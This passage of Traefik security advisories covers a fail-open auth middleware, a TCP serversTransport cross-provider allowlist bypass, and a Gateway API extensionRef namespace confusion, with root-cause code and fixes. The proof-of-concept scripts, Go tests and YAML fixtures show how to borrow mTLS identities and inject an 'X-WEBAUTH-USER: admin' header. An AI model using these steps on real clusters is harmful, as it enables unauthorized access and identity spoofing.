In multi-tenant or GitOps-managed clusters, the actor or automation that can affect Secret existence, Secret contents, namespace policy, or deployment ordering is not necessarily the same actor that owns the protected backend or Traefik deployment. As a result, a mistake, rollback, pruning job, policy change, or compromise limited to Kubernetes application resources can remove the effective auth boundary while the Ingress continues to declare that auth is required.
Impact
This is a fail-open authentication control issue leading to unintended unauthenticated route exposure.
The trigger is an invalid or unresolved auth dependency, but the security consequence is a data-plane route that violates explicit auth intent. This is materially different from intentionally deploying an unprotected route: the Ingress declares auth-type: basic or digest, yet Traefik publishes the backend without the corresponding auth middleware.
Realistic scenarios include:
- GitOps, Helm, or CI/CD deploys Ingress and Secret resources separately. Ordering issues, rollbacks, pruning, or typos can leave the Ingress active while the auth Secret is absent or unreadable. - Kubernetes RBAC commonly separates ownership of Ingress objects, Secrets, and namespace policies. A lower-privileged namespace actor or deployment automation may be able to affect the referenced Secret or cross-namespace reference outcome without having direct access to Traefik static configuration. - During ingress-nginx migration, operators reasonably expect supported nginx.ingress.kubernetes.io/auth- annotations to preserve the authentication boundary. Publishing the backend without auth is a worse failure mode than rejecting the invalid location. - A transient Secret deletion, malformed Secret update, or policy change can turn an already protected route into an unprotected route without changing the Ingress rule itself.
Controller logs are not a sufficient mitigation. Logs do not prevent exposure, may not page the service owner, and the first externally visible symptom can be unauthenticated access to the protected backend.
Suggested remediation
Fail closed on any resolveBasicAuth error. A minimal tested change is to mark the location as errored:
diff if err != nil { logger.Error(). Err(err). Str("ingress", fmt.Sprintf("%s/%s rule-%d path-%d", ing.Namespace, ing.Name, ri, pi)). Msg("Cannot resolve auth secret, skipping auth middleware") + loc.Error = true } else {
This reuses the existing loc.Error / unavailable-service path. In my local validation, this change made the no-backend-without-auth regression pass while preserving the valid-secret positive control.
</details>
---
Summary
There is a medium-severity cross-provider reference vulnerability in Traefik's Kubernetes CRD provider. The crossProviderNamespaces allowlist is enforced for HTTP serversTransport references but was not enforced for IngressRouteTCP service serversTransport references. A low-privileged Kubernetes user in a namespace that is not listed in crossProviderNamespaces could set serversTransport: foo@file on an IngressRouteTCP service, causing Traefik to accept the forbidden cross-provider reference and use the file-provider TCPServersTransport — including privileged backend mTLS client certificates, SPIFFE identity, or PROXY-protocol settings. The fix applies the crossProviderNamespaces allowlist to TCP serversTransport references.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.6.23 - https://github.com/traefik/traefik/releases/tag/v3.7.7
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Traefik's Kubernetes CRD provider enforces crossProviderNamespaces for several cross-provider references, but IngressRouteTCP service serversTransport references skip that allowlist. A low-privileged Kubernetes user in a namespace that is not listed in crossProviderNamespaces can still set serversTransport: foo@file on an IngressRouteTCP service. Traefik accepts the forbidden cross-provider reference and later uses the referenced TCPServersTransport, including privileged backend mTLS client certificates, SPIFFE identity, or PROXY protocol settings.
Description
crossProviderNamespaces is documented and implemented as an allowlist for namespaces that may declare cross-provider references from Kubernetes CRD objects. HTTP serversTransport references enforce that allowlist. TCP serversTransport references do not.
An attacker with low Kubernetes privileges in namespace default can create an IngressRouteTCP service with:
yaml serversTransport: foo@file
Even when the provider is configured with:
yaml crossProviderNamespaces: - operator-only
Traefik still emits a TCP dynamic service whose load balancer points to foo@file. At runtime, DialerManager.Build() uses the exact referenced transport name and applies that transport's TLS client certificates and related backend-connection settings.
Impact
The PoC demonstrates two positive facts:
1. A namespace outside crossProviderNamespaces can cause Traefik to accept and store LoadBalancer.ServersTransport = "foo@file" from an IngressRouteTCP service. 2. A qualified foo@file TCPServersTransport with a client certificate is actually consumed by the TCP dialer and presented to an mTLS backend.
This proves a backend identity relay primitive: a lower-privileged CRD author can make Traefik connect to a backend using an operator-defined cross-provider transport identity that the namespace should not be allowed to reference.
Proof Of Concept
Files
- run.sh: portable runner. - poccrdtest.go: positive CRD provider proof. - withserverstransportcrossproviderpoc.yml: minimal IngressRouteTCP fixture. - poctcpmtlstest.go: positive runtime mTLS identity-use proof.
<details> <summary>run.sh</summary>
bash #!/usr/bin/env sh set -eu
TARGETREF="${TARGETREF:-v3.7.5}" REPOURL="${REPOURL:-https://github.com/traefik/traefik.git}" SCRIPTDIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)" WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-tcp-st-poc.XXXXXX")}"
if [ "${KEEPWORKDIR:-0}" != "1" ]; then trap 'rm -rf "$WORKDIR"' EXIT INT TERM fi
echo "[] targetref=$TARGETREF" echo "[] workdir=$WORKDIR"
if [ -n "${TRAEFIKSRC:-}" ]; then echo "[] cloning from local source: $TRAEFIKSRC" git clone -q "$TRAEFIKSRC" "$WORKDIR/traefik" cd "$WORKDIR/traefik" git -c advice.detachedHead=false checkout -q "$TARGETREF" else echo "[] cloning from remote: $REPOURL" git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGETREF" "$REPOURL" "$WORKDIR/traefik" cd "$WORKDIR/traefik" fi
mkdir -p pkg/provider/kubernetes/crd/fixtures/tcp cp "$SCRIPTDIR/poccrdtest.go" \ pkg/provider/kubernetes/crd/tcpserverstransportcrossproviderpoctest.go cp "$SCRIPTDIR/withserverstransportcrossproviderpoc.yml" \ pkg/provider/kubernetes/crd/fixtures/tcp/withserverstransportcrossproviderpoc.yml cp "$SCRIPTDIR/poctcpmtlstest.go" \ pkg/tcp/dialercrossprovideridentitypoctest.go
echo "[] running CRD provider policy-bypass PoC" go test ./pkg/provider/kubernetes/crd \ -run '^TestPoCTCPServersTransportCrossProviderNamespacesBypass$' \ -count=1 -v
echo "[] running TCPServersTransport mTLS identity-use PoC" go test ./pkg/tcp \ -run '^TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity$' \ -count=1 -v
echo "POCRESULT=PASS"
</details>
<details> <summary>poccrdtest.go</summary>
go package crd
import ( "testing"
"github.com/stretchr/testify/require" traefikcrdfake "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/generated/clientset/versioned/fake" kubefake "k8s.io/client-go/kubernetes/fake" )
func TestPoCTCPServersTransportCrossProviderNamespacesBypass(t testing.T) { k8sObjects, crdObjects := readResources(t, []string{ "tcp/services.yml", "tcp/withserverstransportcrossproviderpoc.yml", })
kubeClient := kubefake.NewClientset(k8sObjects...) crdClient := traefikcrdfake.NewClientset(crdObjects...) client := newClientImpl(kubeClient, crdClient)
stopCh := make(chan struct{}) defer close(stopCh)
eventCh, err := client.WatchAll(nil, stopCh) require.NoError(t, err) <-eventCh
provider := Provider{ AllowCrossNamespace: true, CrossProviderNamespaces: []string{"operator-only"}, }
conf := provider.loadConfigurationFromCRD(t.Context(), client) service := conf.TCP.Services["default-test.route-fdd3e9338e47a45efefc"] require.NotNil(t, service) require.NotNil(t, service.LoadBalancer) require.Equal(t, "foo@file", service.LoadBalancer.ServersTransport) require.NotEmpty(t, service.LoadBalancer.Servers) require.True(t, service.LoadBalancer.Servers[0].TLS)
t.Logf("POCCRDRESULT=accepted routenamespace=default allowedcrossprovidernamespaces=%v serversTransport=%q backendtls=%v", provider.CrossProviderNamespaces, service.LoadBalancer.ServersTransport, service.LoadBalancer.Servers[0].TLS) }
</details>
<details> <summary>poctcpmtlstest.go</summary>
go package tcp
import ( "crypto/rand" "crypto/rsa" "crypto/tls" "crypto/x509" "crypto/x509/pkix" "encoding/pem" "fmt" "io" "math/big" "net" "testing" "time"
"github.com/stretchr/testify/require" "github.com/traefik/traefik/v3/pkg/config/dynamic" traefiktls "github.com/traefik/traefik/v3/pkg/tls" "github.com/traefik/traefik/v3/pkg/types" )
func TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity(t testing.T) { pki := newPoCPKI(t)
dialerManager := NewDialerManager(nil) dialerManager.Update(map[string]dynamic.TCPServersTransport{ "foo@file": { TLS: &dynamic.TLSClientConfig{ ServerName: "example.com", RootCAs: []types.FileOrContent{types.FileOrContent(pki.caCertPEM)}, Certificates: traefiktls.Certificates{ traefiktls.Certificate{ CertFile: types.FileOrContent(pki.clientCertPEM), KeyFile: types.FileOrContent(pki.clientKeyPEM), }, }, }, }, })
backendAddr, peerCN, done, closeBackend := newPoCMTLSBackend(t, pki) defer closeBackend()
dialer, err := dialerManager.Build(&dynamic.TCPServersLoadBalancer{ServersTransport: "foo@file"}, true) require.NoError(t, err)
conn, err := dialer.Dial("tcp", backendAddr, nil) require.NoError(t, err) defer conn.Close()
, err = conn.Write([]byte("ping")) require.NoError(t, err)
buf := make([]byte, 4) , err = io.ReadFull(conn, buf) require.NoError(t, err) require.Equal(t, "PONG", string(buf))
var cn string select { case cn = <-peerCN: case <-time.After(time.Second): t.Fatal("timed out waiting for backend peer certificate") }
select { case err := <-done: require.NoError(t, err) case <-time.After(time.Second): t.Fatal("timed out waiting for backend completion") }
t.Logf("POCMTLSRESULT=backendacceptedtransportidentity serversTransport=%q peercn=%q response=%q", "foo@file", cn, string(buf)) }
func newPoCMTLSBackend(t testing.T, pki poCPKI) (string, <-chan string, <-chan error, func()) { t.Helper()
serverCert, err := tls.X509KeyPair(pki.serverCertPEM, pki.serverKeyPEM) require.NoError(t, err)
clientPool := x509.NewCertPool() require.True(t, clientPool.AppendCertsFromPEM(pki.caCertPEM))
listener, err := net.Listen("tcp", "127.0.0.1:0") require.NoError(t, err)
tlsListener := tls.NewListener(listener, &tls.Config{ Certificates: []tls.Certificate{serverCert}, ClientAuth: tls.RequireAndVerifyClientCert, ClientCAs: clientPool, })
peerCN := make(chan string, 1) done := make(chan error, 1)
go func() { conn, err := tlsListener.Accept() if err != nil { done <- err return } defer conn.Close()
tlsConn, ok := conn.(tls.Conn) if !ok { done <- fmt.Errorf("unexpected connection type %T", conn) return }
if err := tlsConn.Handshake(); err != nil { done <- err return }
state := tlsConn.ConnectionState() if len(state.PeerCertificates) == 0 { done <- fmt.Errorf("missing peer certificate") return } peerCN <- state.PeerCertificates[0].Subject.CommonName
buf := make([]byte, 4) if , err := io.ReadFull(tlsConn, buf); err != nil { done <- err return } if string(buf) != "ping" { done <- fmt.Errorf("unexpected backend payload %q", string(buf)) return }
, err = tlsConn.Write([]byte("PONG")) done <- err }()
return listener.Addr().String(), peerCN, done, func() { = tlsListener.Close() } }
type poCPKI struct { caCertPEM []byte serverCertPEM []byte serverKeyPEM []byte clientCertPEM []byte clientKeyPEM []byte }
func newPoCPKI(t testing.T) poCPKI { t.Helper()
caKey, err := rsa.GenerateKey(rand.Reader, 2048) require.NoError(t, err)
caTemplate := &x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "poc-ca"}, NotBefore: time.Now().Add(-time.Minute), NotAfter: time.Now().Add(time.Hour), KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageCRLSign, BasicConstraintsValid: true, IsCA: true, }
caDER, err := x509.CreateCertificate(rand.Reader, caTemplate, caTemplate, &caKey.PublicKey, caKey) require.NoError(t, err)
serverCertPEM, serverKeyPEM := newPoCLeafCert(t, caTemplate, caKey, "poc-server", []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}) clientCertPEM, clientKeyPEM := newPoCLeafCert(t, caTemplate, caKey, "example.com", []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth})
return poCPKI{ caCertPEM: pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: caDER}), serverCertPEM: serverCertPEM, serverKeyPEM: serverKeyPEM, clientCertPEM: clientCertPEM, clientKeyPEM: clientKeyPEM, } }
func newPoCLeafCert(t testing.T, caTemplate x509.Certificate, caKey rsa.PrivateKey, cn string, eku []x509.ExtKeyUsage) ([]byte, []byte) { t.Helper()
key, err := rsa.GenerateKey(rand.Reader, 2048) require.NoError(t, err)
serial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128)) require.NoError(t, err)
template := &x509.Certificate{ SerialNumber: serial, Subject: pkix.Name{CommonName: cn}, DNSNames: []string{"example.com"}, NotBefore: time.Now().Add(-time.Minute), NotAfter: time.Now().Add(time.Hour), KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment, ExtKeyUsage: eku, }
certDER, err := x509.CreateCertificate(rand.Reader, template, caTemplate, &key.PublicKey, caKey) require.NoError(t, err)
keyDER := x509.MarshalPKCS1PrivateKey(key)
return pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER}), pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: keyDER}) }
</details>
<details> <summary>withserverstransportcrossproviderpoc.yml</summary>
yaml apiVersion: traefik.io/v1alpha1 kind: IngressRouteTCP metadata: name: test.route namespace: default
spec: entryPoints: - foo
routes: - match: HostSNI(foo.com) priority: 12 services: - name: whoamitcp port: 8000 tls: true serversTransport: foo@file
</details>
Requirements
- git - Go toolchain compatible with the target Traefik tag. v3.7.5 uses go 1.25.0. - Network access to clone https://github.com/traefik/traefik.git and download Go modules on first run.
No local Traefik checkout is required by default.
Run
sh ./run.sh
Optional target override:
sh TARGETREF=v3.6.21 ./run.sh
Optional local-source override for faster local validation:
sh TRAEFIKSRC=/path/to/traefik TARGETREF=v3.7.5 ./run.sh
Expected Result
The run should end with:
text POCCRDRESULT=accepted routenamespace=default allowedcrossprovidernamespaces=[operator-only] serversTransport="foo@file" backendtls=true POCMTLSRESULT=backendacceptedtransportidentity serversTransport="foo@file" peercn="example.com" response="PONG" POCRESULT=PASS
Root Cause
Line numbers below are from:
text repository: https://github.com/traefik/traefik tag: v3.7.5 commit: 26c96a3935cafb473f4a5bae1886560d9aa4e4f0
1. The provider option is meant to cover IngressRouteTCP
pkg/provider/kubernetes/crd/kubernetes.go:60
go CrossProviderNamespaces []string description:"List of namespaces from which IngressRoute, IngressRouteTCP, IngressRouteUDP, and TraefikService are allowed to declare cross-provider references." ...
This establishes the security invariant: IngressRouteTCP cross-provider references should be gated by crossProviderNamespaces.
2. TCP service creation forwards the attacker-controlled transport name
pkg/provider/kubernetes/crd/kubernetestcp.go:183-185
go if service.ServersTransport != "" { tcpService.LoadBalancer.ServersTransport, err = p.makeTCPServersTransportKey(parentNamespace, service.ServersTransport) }
The attacker-controlled serversTransport field is passed into the key builder.
3. TCP key builder returns cross-provider names without the allowlist check
pkg/provider/kubernetes/crd/kubernetestcp.go:321-322
go if strings.Contains(serversTransportName, providerNamespaceSeparator) { return serversTransportName, nil }
This accepts foo@file directly. There is no call to isCrossProviderNamespaceAllowed(...) on this TCP path.
4. HTTP sibling contains the missing authorization gate
pkg/provider/kubernetes/crd/kuberneteshttp.go:507-508
go if !isCrossProviderNamespaceAllowed(c.crossProviderNamespaces, parentNamespace) { return "", fmt.Errorf("serversTransport %q reference is not allowed: namespace %q is not in crossProviderNamespaces", ...) }
The HTTP path proves the intended policy: cross-provider serversTransport references should be rejected when the route namespace is not in the allowlist.
5. Runtime TCP dialer consumes the exact referenced transport
pkg/tcp/dialer.go:135-141
go if config.ServersTransport != "" { name = config.ServersTransport } st, ok := d.serversTransports[name]
pkg/tcp/dialer.go:183-188
go tlsConfig = &tls.Config{ ServerName: st.TLS.ServerName, Certificates: st.TLS.Certificates.GetCertificates(), }
The accepted foo@file reference is not a harmless string. It selects the cross-provider transport and applies its client TLS identity during backend connections.
</details>
---
Summary
There is a medium-severity namespace-confusion vulnerability in Traefik's Kubernetes Gateway API provider. When resolving HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef, Traefik used the backend Service namespace instead of the HTTPRoute namespace. A low-privileged route author holding a ReferenceGrant for a cross-namespace Service could therefore bind a Traefik Middleware from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications may receive attacker-selected authenticated-identity state. The fix resolves extensionRef against the HTTPRoute namespace.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.7.7
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Traefik's Kubernetes Gateway API provider resolves HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef in the backend Service namespace instead of the HTTPRoute namespace. A low-privileged route author with a permitted cross-namespace Service reference can therefore bind a Traefik Middleware from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications can receive attacker-selected authenticated identity state.
Description
Gateway API ReferenceGrant allows a namespace owner to grant a route in another namespace permission to reference a specific backend object, such as a Service. That grant should not implicitly authorize the route author to bind other policy objects in the backend namespace.
In the affected code path, Traefik copies backendRef.namespace into a local namespace variable. It correctly uses that namespace to validate and load the backend Service, but then reuses the same namespace when resolving backendRef.filters[].extensionRef. For Traefik CRD Middleware extension filters, the CRD provider turns (namespace, name) into a dynamic middleware reference such as:
text platform-privileged-auth-header@kubernetescrd
As a result, a tenant route in tenant-a can bind a middleware named privileged-auth-header from the backend namespace platform, even though the Gateway API ReferenceGrant only granted access to platform/protected-api Service.
Impact
The PoC demonstrates that an attacker-authored HTTPRoute can cause Traefik to attach a backend-namespace Headers middleware to the generated backend service. The middleware injects:
text X-WEBAUTH-USER: admin
That is a realistic downstream primitive because many applications support trusted reverse-proxy authentication headers when deployed behind a gateway. Separate Docker validation showed this header-auth class can map to authenticated identities in Grafana, Gitea, Jenkins, SonarQube, and Nexus Repository when those products are intentionally configured for reverse-proxy authentication.
This is not a bug in those downstream applications and this PoC does not claim direct Traefik host RCE, sandbox escape, private-key exfiltration, or default cluster takeover. The Traefik vulnerability is unauthorized middleware binding across a Gateway API namespace boundary.
Proof Of Concept
Files
<details> <summary>run.sh</summary>
bash #!/usr/bin/env sh set -eu
TARGETREF="${TARGETREF:-v3.7.5}" REPOURL="${REPOURL:-https://github.com/traefik/traefik.git}" SCRIPTDIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)" WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-gw-extref-poc.XXXXXX")}"
if [ "${KEEPWORKDIR:-0}" != "1" ]; then trap 'rm -rf "$WORKDIR"' EXIT INT TERM fi
printf '[] targetref=%s\n' "$TARGETREF" printf '[] workdir=%s\n' "$WORKDIR"
if [ -n "${TRAEFIKSRC:-}" ]; then printf '[] cloning from local source: %s\n' "$TRAEFIKSRC" git clone -q "$TRAEFIKSRC" "$WORKDIR/traefik" cd "$WORKDIR/traefik" git -c advice.detachedHead=false checkout -q "$TARGETREF" else printf '[] cloning from remote: %s\n' "$REPOURL" git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGETREF" "$REPOURL" "$WORKDIR/traefik" cd "$WORKDIR/traefik" fi
mkdir -p pkg/provider/kubernetes/gateway/fixtures/httproute cp "$SCRIPTDIR/pocgatewayextensionreftest.go" \ pkg/provider/kubernetes/gateway/httproutebackendfilternamespacepoctest.go cp "$SCRIPTDIR/backendrefextensionfiltercrossnamespacepoc.yml" \ pkg/provider/kubernetes/gateway/fixtures/httproute/backendrefextensionfiltercrossnamespacepoc.yml
if grep -Fq 'loadConfigurationFromGateways(ctx context.Context) (dynamic.Configuration, statusReport, error)' pkg/provider/kubernetes/gateway/kubernetes.go; then sed -i \ -e 's/conf := p\.loadConfigurationFromGateways(t\.Context())/conf, , err := p.loadConfigurationFromGateways(t.Context())/' \ -e 's/require\.NotNil(t, conf)/require.NoError(t, err)/' \ pkg/provider/kubernetes/gateway/httproutebackendfilternamespacepoctest.go fi
printf '[] running Gateway HTTPRoute backendRef ExtensionRef namespace-confusion PoC\n' go test ./pkg/provider/kubernetes/gateway \ -run '^TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace$' \ -count=1 -v
printf 'POCRESULT=PASS\n'
</details>
<details> <summary>backendrefextensionfiltercrossnamespacepoc.yml</summary>
yaml --- apiVersion: v1 kind: Service metadata: name: protected-api namespace: platform spec: ports: - name: web protocol: TCP port: 80 targetPort: web
--- kind: EndpointSlice apiVersion: discovery.k8s.io/v1 metadata: name: protected-api-abc namespace: platform labels: kubernetes.io/service-name: protected-api addressType: IPv4 ports: - name: web port: 8080 endpoints: - addresses: - 10.10.20.10 conditions: ready: true
--- kind: GatewayClass apiVersion: gateway.networking.k8s.io/v1 metadata: name: shared-gateway-class spec: controllerName: traefik.io/gateway-controller
--- kind: Gateway apiVersion: gateway.networking.k8s.io/v1 metadata: name: shared-gateway namespace: infra spec: gatewayClassName: shared-gateway-class listeners: - name: http protocol: HTTP port: 80 allowedRoutes: kinds: - kind: HTTPRoute group: gateway.networking.k8s.io namespaces: from: All
--- kind: ReferenceGrant apiVersion: gateway.networking.k8s.io/v1beta1 metadata: name: allow-tenant-route-to-service namespace: platform spec: from: - group: gateway.networking.k8s.io kind: HTTPRoute namespace: tenant-a to: - group: "" kind: Service name: protected-api
--- kind: HTTPRoute apiVersion: gateway.networking.k8s.io/v1 metadata: name: tenant-route namespace: tenant-a spec: parentRefs: - name: shared-gateway namespace: infra kind: Gateway group: gateway.networking.k8s.io hostnames: - attacker.example rules: - matches: - path: type: PathPrefix value: / backendRefs: - name: protected-api namespace: platform port: 80 kind: Service group: "" filters: - type: ExtensionRef extensionRef: group: traefik.io kind: Middleware name: privileged-auth-header
</details>
<details> <summary>pocgatewayextensionreftest.go</summary>
go package gateway
import ( "net/http" "net/http/httptest" "testing"
"github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "github.com/traefik/traefik/v3/pkg/config/dynamic" "github.com/traefik/traefik/v3/pkg/middlewares/headers" traefikv1alpha1 "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/traefikio/v1alpha1" kubefake "k8s.io/client-go/kubernetes/fake" )
func TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace(t testing.T) { k8sObjects, gwObjects := readResources(t, []string{"httproute/backendrefextensionfiltercrossnamespacepoc.yml"})
kubeClient := kubefake.NewClientset(k8sObjects...) gwClient := newGatewaySimpleClientSet(t, gwObjects...)
client := newClientImpl(kubeClient, gwClient) eventCh, err := client.WatchAll(nil, make(chan struct{})) require.NoError(t, err) if len(k8sObjects) > 0 || len(gwObjects) > 0 { <-eventCh }
var resolvedRefs []string p := Provider{ EntryPoints: map[string]Entrypoint{"web": {Address: ":80"}}, client: client, }
p.RegisterFilterFuncs(traefikv1alpha1.GroupName, "Middleware", func(name, namespace string) (string, dynamic.Middleware, error) { resolvedRefs = append(resolvedRefs, namespace+"/"+name) return namespace + "-" + name + "@kubernetescrd", &dynamic.Middleware{ Headers: &dynamic.Headers{ CustomRequestHeaders: map[string]string{ "X-WEBAUTH-USER": "admin", }, }, }, nil })
conf := p.loadConfigurationFromGateways(t.Context()) require.NotNil(t, conf)
var serviceConfig dynamic.Service for , service := range conf.HTTP.Services { for , middlewareRef := range service.Middlewares { if middlewareRef == "platform-privileged-auth-header@kubernetescrd" { serviceConfig = service } } }
require.Contains(t, resolvedRefs, "platform/privileged-auth-header") require.Contains(t, conf.HTTP.Middlewares, "platform-privileged-auth-header@kubernetescrd") require.NotNil(t, serviceConfig) require.Contains(t, serviceConfig.Middlewares, "platform-privileged-auth-header@kubernetescrd")
seenUser := make(chan string, 1) backend := http.HandlerFunc(func(rw http.ResponseWriter, req http.Request) { seenUser <- req.Header.Get("X-WEBAUTH-USER") rw.WriteHeader(http.StatusOK) })
handler, err := headers.NewHeader(backend, conf.HTTP.Middlewares["platform-privileged-auth-header@kubernetescrd"].Headers) require.NoError(t, err)
recorder := httptest.NewRecorder() handler.ServeHTTP(recorder, httptest.NewRequest(http.MethodGet, "http://attacker.example/", nil))
assert.Equal(t, http.StatusOK, recorder.Code) assert.Equal(t, "admin", <-seenUser) t.Logf("POCRESULTDETAIL=backendextensionrefresolvednamespace=%q middleware=%q injectedheader=%q", "platform", "platform-privileged-auth-header@kubernetescrd", "X-WEBAUTH-USER: admin") }
</details>
Requirements
- git - Go toolchain compatible with the target Traefik tag. v3.7.5 uses go 1.25.0. - Network access to clone https://github.com/traefik/traefik.git and download Go modules on first run.
No local Traefik checkout or Kubernetes cluster is required by default.
Run
sh ./run.sh
Optional target override:
sh TARGETREF=v3.7.0 ./run.sh
Optional local-source override for faster validation:
sh TRAEFIKSRC=/path/to/traefik TARGETREF=v3.7.5 ./run.sh
Expected Result
The run should end with:
text POCRESULTDETAIL=backendextensionrefresolvednamespace="platform" middleware="platform-privileged-auth-header@kubernetescrd" injectedheader="X-WEBAUTH-USER: admin" POCRESULT=PASS
Root Cause
Line numbers below are from:
text repository: https://github.com/traefik/traefik tag: v3.7.5 commit: 26c96a3935cafb473f4a5bae1886560d9aa4e4f0
1. Route-level filters use the route namespace
pkg/provider/kubernetes/gateway/httproute.go:143-144
go // TODO loadMiddlewares errors could change the condition. router.Middlewares, err = p.loadMiddlewares(conf, route.Namespace, routerName, routeRule.Filters, match.Path)
For filters directly on HTTPRoute.rules[], Traefik resolves extension filters relative to route.Namespace. This matches the Gateway API LocalObjectReference model.
2. BackendRef namespace overwrites the route namespace
pkg/provider/kubernetes/gateway/httproute.go:240-243
go namespace := route.Namespace if backendRef.Namespace != nil && backendRef.Namespace != "" { namespace = string(backendRef.Namespace)
For a cross-namespace backend Service, namespace becomes the backend namespace, for example platform.
3. ReferenceGrant checks only the backend object
pkg/provider/kubernetes/gateway/httproute.go:258-266
go if err := p.isReferenceGranted(kindHTTPRoute, route.Namespace, group, string(kind), string(backendRef.Name), namespace); err != nil { return serviceName, &metav1.Condition{ Type: string(gatev1.RouteConditionResolvedRefs), Status: metav1.ConditionFalse, ObservedGeneration: route.Generation, LastTransitionTime: metav1.Now(), Reason: string(gatev1.RouteReasonRefNotPermitted),
This validates permission to reference the backend object, such as platform/protected-api Service.
4. The backend namespace is reused for backendRef filters
pkg/provider/kubernetes/gateway/httproute.go:269-277
go middlewares, err := p.loadMiddlewares(conf, namespace, serviceName, backendRef.Filters, pathMatch) if err != nil { return serviceName, &metav1.Condition{ Type: string(gatev1.RouteConditionResolvedRefs), Status: metav1.ConditionFalse, ObservedGeneration: route.Generation, LastTransitionTime: metav1.Now(),
The same namespace variable now points to the backend namespace. Therefore an ExtensionRef inside backendRef.filters[] is resolved as platform/<middleware-name> instead of tenant-a/<middleware-name>.
5. CRD Middleware extension refs are qualified by the namespace supplied by Gateway provider
pkg/provider/kubernetes/crd/kubernetes.go:169-175
go registry.RegisterFilterFuncs(traefikv1alpha1.GroupName, "Middleware", func(name, namespace string) (string, dynamic.Middleware, error) { if len(p.Namespaces) > 0 && !slices.Contains(p.Namespaces, namespace) { return "", nil, fmt.Errorf("namespace %q is not allowed", namespace) }
return makeID(namespace, name) + providerNamespaceSeparator + ProviderName, nil, nil
The namespace passed from loadMiddlewares() decides which CRD Middleware object becomes part of the dynamic service configuration.
6. Service-level middlewares are applied at runtime
pkg/server/service/service.go:186-194
go if len(conf.Middlewares) > 0 { if m.middlewareChainBuilder == nil { // This should happen only in tests. return nil, errors.New("chain builder not defined") } chain := m.middlewareChainBuilder.BuildMiddlewareChain(ctx, conf.Middlewares) originalLB := lb var err error lb, err = chain.Then(lb)
The unauthorized middleware reference is not merely stored. Traefik applies service-level middlewares to the backend load balancer handler during normal HTTP service construction.
Minimal Exploit Shape
The PoC fixture contains the essential object graph:
text tenant-a/HTTPRoute -> backendRef namespace: platform, name: protected-api -> backendRef.filters[].extensionRef: traefik.io/Middleware privileged-auth-header
platform/ReferenceGrant -> allows tenant-a HTTPRoute to reference platform/protected-api Service only
platform/protected-api Service
Traefik resolves the ExtensionRef as: platform/privileged-auth-header
In a real affected deployment, if platform/privileged-auth-header sets a trusted identity header, requests sent through the tenant route can reach the backend with that header injected by Traefik.
Workarounds
- Avoid granting untrusted namespaces permission to attach HTTPRoute objects to shared Gateways that route to sensitive backends. - Do not place privileged or identity-bearing Traefik Middleware objects in namespaces that can be reached by untrusted cross-namespace HTTPRoute backend references. - Prefer route-local filters and explicitly audit HTTPRoute.rules[].backendRefs[].filters[].extensionRef usage. - Strip trusted reverse-proxy identity headers at backend application boundaries unless they originate from a dedicated authentication gateway.
Scope Boundary
Exploitation requires low-privileged route-author capability in a Kubernetes Gateway API deployment. A remote unauthenticated web client without HTTPRoute authoring capability cannot create the malicious route. If the shared Gateway is internet-facing, the final request that triggers the unauthorized middleware can be sent over the public network after the route is created.
</details>
---